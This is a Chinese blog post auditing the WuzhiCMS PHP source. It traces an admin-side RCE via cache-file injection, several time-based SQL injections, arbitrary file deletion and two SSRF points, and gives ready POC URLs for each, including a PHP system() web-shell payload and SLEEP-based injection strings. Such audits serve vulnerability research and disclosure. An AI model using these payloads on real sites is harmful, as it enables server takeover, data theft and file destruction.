前言:
目前也有几个小众cms的代审经验了,打算尝试对基于MVC架构的PHP项目代码进行审计,争取从审计新手转变成审计小白。

五指cms:
五指cms由原phpcms V9 负责人参加主导开发,前后台界面采用html5+css3技术,可以进行跨屏、跨设备管理内容,极大的提升了用户体验。
入口文件:wuzhicms/www/index.php
<?php
if(PHP_VERSION < '5.2.0') die('Require PHP > 5.2.0 ');
//定义当前的网站物理路径
define('WWW_ROOT',dirname(__FILE__).'/');
require './configs/web_config.php';
require COREFRAME_ROOT.'core.php';
$app = load_class('application');
$app->run();
?>
此处包含了两个文件,web_config.php
定义了Web应用程序需要使用到的那种常量。core.php
为核心函数文件,调用了set_globals()
函数,将GET、POST参数全部转给GLOBALS ,然后注销get和post;调用了load_function('common')
来加载核心公共函数;load_class('application')
调用了coreframe/app/core/libs/class/application.class.php
类函数文件,Web应用采用MVC架构进行管理
公共函数文件:/coreframe/app/core/libs/function/common.func.php
相关安全过滤函数分析:
//过滤SQL关键字,mysql入库字段过滤
function sql_replace($val){
$val = str_replace("\t", '', $val);
$val = str_replace("%20", '', $val);
$val = str_replace("%27", '', $val);
$val = str_replace("*", '', $val);
$val = str_replace("'", '', $val);
$val = str_replace("\"", '', $val);
$val = str_replace("/", '', $val);
$val = str_replace(";", '', $val);
$val = str_replace("#", '', $val);
$val = str_replace("--", '', $val);
$val = addslashes($val);
return $val;
}
文件上传安全函数:
function filename($name)
{
$_exts = array('php','asp','jsp','jspx','html','htm','aspx','asa','cs','cgi','js','dhtml','xhtml','vb','exe','shell','bat','php4','php4','php5','pthml','cdx','cer');
$ext = strtolower(pathinfo($name,PATHINFO_EXTENSION));
if(in_array($ext, $_exts)) {
return FALSE;
}
$rand_str = random_string('diy', 6,'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789');
$files = date('YmdHis').$rand_str.'.'.$ext;
return $files;
}
漏洞分析:
共发现4处RCE,通过CNVD官网发现有1处RCE已经有人提交过了,另外3个已提交CNVD就不公开了
-
后台RCE(四):
漏洞代码分析:/wuzhicms/coreframe/app/attachment/admin/index.php
public function set()
{
if (isset($GLOBALS['submit'])) {
set_cache(M, $GLOBALS['setting']);
MSG(L('operation_success'), HTTP_REFERER, 3000);
}
}
当用户传递动态参数sumit时,web程序会引用set_cache()
方法,其中M为当前模块名attachment
,继续跟进:
function set_cache($filename, $data, $dir = '_cache_'){
static $_dirs;
if ($dir == '') return FALSE;
if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
$cache_path = CACHE_ROOT . $dir . '/';
if (!isset($_dirs[$filename . $dir])) {
if (!is_dir($cache_path)) {
mkdir($cache_path, 0777, true);
}
$_dirs[$filename . $dir] = 1;
}
$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
if (is_array($data)) {
$data = '<?php' . "\r\n return " . array2string($data) . '?>';
}
file_put_contents($filename, $data);
}
$cache_path
为web服务器的缓存路径目录,$filename
为缓存文件名,然后通过file_put_contents方法,毫无过滤地将$data
写入到缓存文件中,那么如果该缓存文件被包含,则可以造成RCE的效果,而且一般来说缓存文件都是会被web程序利用的。按照这个思路继续分析:
class index extends WUZHI_admin
{
private $db;
function __construct()
{
$this->db = load_class('db');
$GLOBALS['_menuid'] = isset($GLOBALS['_menuid']) ? intval($GLOBALS['_menuid']) : '';
$this->_cache = get_cache(M);
}
当对象创建时会调用魔术方法__construct()
,然后会引入get_cache()
方法,继续分析:
function get_cache($filename, $dir = '_cache_'){
$file = get_cache_path($filename, $dir);
if (!file_exists($file)) return '';
$data = include $file;
return $data;
}
get_cache()
方法会包含并返回缓存文件,那么就可以造成RCE的效果了
POC:/wuzhicms/www/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<%3fphp+system($GLOBALS['cmd'])%3b%3f>

RCE漏洞发现到处为止把,肯定还有其他能造RCE的地方,懒得一个个看了。
-
后台SQL注入点(一)
漏洞代码分析:/coreframe/app/core/admin/copyfrom.php
public function listing() {
$siteid = get_cookie('siteid');
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
$page = max($page,1);
if(isset($GLOBALS['keywords'])) {
$keywords = $GLOBALS['keywords'];
$where = "`name` LIKE '%$keywords%'";
} else {
$where = '';
}
$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
直接拼接用户可控的keywords参数值到$where
变量中,然后将$where
变量作为参数执行get_list
方法,继续追踪:
final public function get_list($table, $where = '', $field = '*', $startid = 0, $pagesize = 200, $page = 0, $order = '', $group = '', $keyfield = '', $urlrule = '',$array = array(),$colspan = 10) {
$where = $this->array2sql($where);
}
这里又将$where
变量以入参的方式进入到array2sql
方法:
private function array2sql($data) {
if(empty($data)) return '';
if(is_array($data)) {
$sql = '';
foreach ($data as $key => $val) {
$val = str_replace("%20", '', $val);
$val = str_replace("%27", '', $val);
$val = str_replace("(", '', $val);
$val = str_replace(")", '', $val);
$val = str_replace("'", '', $val);
$sql .= $sql ? " AND `$key` = '$val' " : " `$key` = '$val' ";
}
return $sql;
} else {
$data = str_replace("%20", '', $data);
$data = str_replace("%27", '', $data);
return $data;
}
}
array2sql
方法对$data
变量进行了替换置空处理,但是若$data
为字符串类型时,只是将%20
和%27
进行替换置空,并没有对原始字符进行任何过滤处理。应用程序最后会通过query()
方法执行mysqli_query
查询操作,从而导致的SQL注入的产生。

POC:/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=test%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%286%29%29%29aR%29--%20

分析到这里,也就是说当动态参数在以入参的方式执行get_list
方法之前,若没有进行过滤处理,且第二个参数不为数组,则会触发SQL注入,后续又找到多处后台SQL注入:
POC:/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW
POC:/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&_su=wuzhicms&groupname=88888%bf%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/6572/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29GZXQ%29--%20vLAW
POC:wuzhicms/www/index.php?m=order&f=card&v=listing&_su=wuzhicms&keytype=1&batchid=123d%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20
POC:/wuzhicms/www/index.php?m=order&f=goods&v=listing&_su=wuzhicms&keywords=888111&keytype=0&cardtype=188%27/%2AAAA%2A//%2AAAA%2A/AND/%2AAAA%2A//%2AAAA%2A/%28SELECT/%2AAAA%2A//%2AAAA%2A/3462/%2AAAA%2A//%2AAAA%2A/FROM/%2AAAA%2A//%2AAAA%2A/%28SELECT%28SLEEP%284%29%29%29aR%29--%20
-
后台SQL注入点(二)
漏洞代码分析:/coreframe/app/member/admin/group.php
$this->db = load_class('db');
public function del() {
if(isset($GLOBALS['groupid']) && $GLOBALS['groupid']) {
if(is_array($GLOBALS['groupid'])) {
$where = ' IN ('.implode(',', $GLOBALS['groupid']).')';
foreach($GLOBALS['groupid'] as $gid) {
$this->db->delete('member_group_priv', array('groupid' => $gid));
}
} else {
$where = ' = '.$GLOBALS['groupid'];
$this->db->delete('member_group_priv', array('groupid' => $GLOBALS['groupid']));
}
$this->db->delete('member_group', 'issystem != 1 AND groupid'.$where);
$this->group->set_cache();
}
}
这里发现并没有对$GLOBALS['groupid']
进行过滤处理,程序通过load_class()
来加载核心类函数,实例化对象db并引用delete()方法:
final public function delete($table, $where = '') {
$where = $this->array2sql($where);
return $this->master_db->delete($table, $where);
}
接着会引用array2sql()方法进行特殊字符过滤,最后执行sql语句
POC:/wuzhicms/www/index.php?m=member&f=group&v=del&_su=wuzhicms&callback=996<img>&groupid=%28SELECT/%2AAAA%2A//%2AAAA%2A/3289/%2AAAA%2A//%2AAAA%2A/FROM%28SELECT%28SLEEP%284%29%29%29Guqe%29

-
任意文件删除:
漏洞代码分析:wuzhicms/coreframe/app/attachment/admin/index.php
public function del()
{
$id = isset($GLOBALS['id']) ? $GLOBALS['id'] : '';
$url = isset($GLOBALS['url']) ? remove_xss($GLOBALS['url']) : '';
if (!$id && !$url) MSG(L('operation_failure'), HTTP_REFERER, 3000);
if ($id) {
else {
if (!$url) MSG('url del ' . L('operation_failure'), HTTP_REFERER, 3000);
$path = str_ireplace(ATTACHMENT_URL, '', $url);
if ($path) {
$where = array('path' => $path);
$att_info = $this->db->get_one('attachment', $where, 'usertimes,id');
if (empty($att_info)) {
$this->my_unlink(ATTACHMENT_ROOT . $path);
MSG(L('operation_success'), HTTP_REFERER, 3000);
}
}
}
}
$url
用户可控,web应用程序会将用户输入的地址代入到数据库中查询,若查询不到相关数据则会进行引入my_unlink()
方法:
private function my_unlink($path)
{
if(file_exists($path)) unlink($path);
}
若文件存在,则直接进行删除操作,并没有进行安全验证
POC:/wuzhicms/www/index.php?m=attachment&f=index&v=del&_su=wuzhicms&url=../../888.txt

-
后台SSRF触发点(一):
漏洞代码分析:wuzhicms/coreframe/app/content/admin/content.php
public function edit() {
$cid = isset($GLOBALS['cid']) ? intval($GLOBALS['cid']) : 0;
$cate_config = get_cache('category_'.$cid,'content');
if(!$cate_config) MSG(L('category not exists'));
//如果设置了modelid,那么则按照设置的modelid。共享模型添加必须数据必须指定该值。
if(isset($GLOBALS['modelid']) && is_numeric($GLOBALS['modelid'])) {
$modelid = $GLOBALS['modelid'];
} else {
$modelid = $cate_config['modelid'];
}
$categorys = get_cache('category','content');
if(isset($GLOBALS['submit']) || isset($GLOBALS['submit2'])) {
$formdata = $GLOBALS['form'];
//添加数据之前,将用户提交的数据按照字段的配置,进行处理
require get_cache_path('content_add','model');
$form_add = new form_add($modelid);
$formdata = $form_add->execute($formdata);
当存在$GLOBALS['submit']
时,会包含缓存文件/wuzhicms/caches/model/content_add.NwaRa.php
,然后实例化一个对象并调用execute()方法,$formdata作为参数进行传递:
public function execute($formdata) {
foreach($formdata as $field=>$value) {
if($this->check_field($field)===FALSE) continue;
$field_config = $this->fields[$field];
$name = $field_config['name'];
$func = $field_config['formtype'];
//在field_config 必须包含的键值:field
if(method_exists($this, $func)) $value = $this->$func($field_config, $value);
execute()方法中会遍历$formdata
数组,然后判断类中是否存在函数$field_config['formtype']
,若存在则引用该函数,当键名$field="content"
时,$field_config['formtype']="editor"
,此时会调用editor()
方法:
private function editor($config, $value) {
extract($config,EXTR_SKIP);
if($setting) extract($setting,EXTR_SKIP);
if($value && $editor_type=='ckeditor') {
$value = str_replace('<div style="page-break-after: always"><span style="display: none;"> </span></div>','_wuzhicms_page_tag_',$value);
}
/*远程图片加载*/
$enablesaveimage = $setting['enablesaveimage'];
if(isset($_POST['spider_img'])) $enablesaveimage = 1;
if($enablesaveimage) {
$watermark_enable = intval($setting['watermark_enable']);
$attachment = load_class('attachment','attachment');
$value = $attachment->save_remote($value,$watermark_enable);
}
return $value;
}
$enablesaveimage = 1成立,继续跟踪save_remove()方法
public function save_remote( $str = '', $watermark_enable = false)
{
if(empty($str)) return false;
if($watermark_enable==1) $this->water_mark = true;
$list = $replace_array = array();//这里存放结果map
$c1 = preg_match_all('/<img\s.*?>/', $str, $m1);//先取出所有img标签文本
for($i=0; $i<$c1; $i++) //对所有的img标签进行取属性
{
$c2 = preg_match_all('/(\w+)\s*=\s*(?:(?:(["\'])(.*?)(?=\2))|([^\/\s]*))/', $m1[0][$i], $m2);//匹配所有属性
for($j=0; $j<$c2; $j++) //将匹配完的结果进行结构重组
{
$img_attr = $m2[1][$j];
if( !in_array($img_attr, array('src','alt','title')) ) continue;
$list[$i][$img_attr] = !empty($m2[4][$j]) ? $m2[4][$j] : $m2[3][$j];
}
}
foreach($list AS $k=>$v)
{
if(strpos($v['src'], '://') === false || strpos_array($v['src'], array('127.0.0.1','localhost',ATTACHMENT_URL) ) !== false) continue;
$alt = isset($v['alt']) ? remove_xss($v['alt']) : remove_xss($v['title']);
$new_path = $this->get_remote_file( $v['src'], array('alt'=>$alt) );
}
}
利用正则匹配提取img标签的src属性所指向的url,并写入到$list
数组中:

然后遍历$list
数组,将url作为参数传入到get_remote_file()
函数中
public function get_remote_file($path = '', $file_attr = array() )
{
if(empty($path)) return false;
$content = $this->get_remote_core($path);
继续追踪get_remote_core()
函数:
private function get_remote_core($path = '')
{
if(function_exists('curl_init'))
{
$c = curl_init();
$domain_array = parse_url($path);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c,CURLOPT_REFERER,$domain_array['scheme'].'://'.$domain_array['host']);
curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko');//部分服务器判断浏览器头,这里加上防止其返回404等异常;
curl_setopt($c, CURLOPT_URL, $path);
curl_setopt($c, CURLOPT_HEADER, 0);
curl_setopt($c, CURLOPT_TIMEOUT,30);
$contents = curl_exec($c);
$path
为url地址,利用curl_exec()
发送http请求,并无其他有效的过滤措施,存在服务端请求伪造漏洞,由于该漏洞是由于curl_exec()
造成的,可通过gopher协议进一步造杀伤。

-
后台SSRF触发点(二):
漏洞代码分析:wuzhicms/coreframe/app/search/admin/config.php
public function test() {
$sphinxhost = remove_xss($GLOBALS['sphinxhost']);
$sphinxport = remove_xss($GLOBALS['sphinxport']);
$sphinxhost = !empty($sphinxhost) ? $sphinxhost : exit('-1');
$sphinxport = !empty($sphinxport) ? intval($sphinxport) : exit('-2');
$fp = @fsockopen($sphinxhost, $sphinxport, $errno, $errstr , 2);
if (!$fp) {
exit($errno.':'.$errstr);
} else {
exit('1');
}
}

网友评论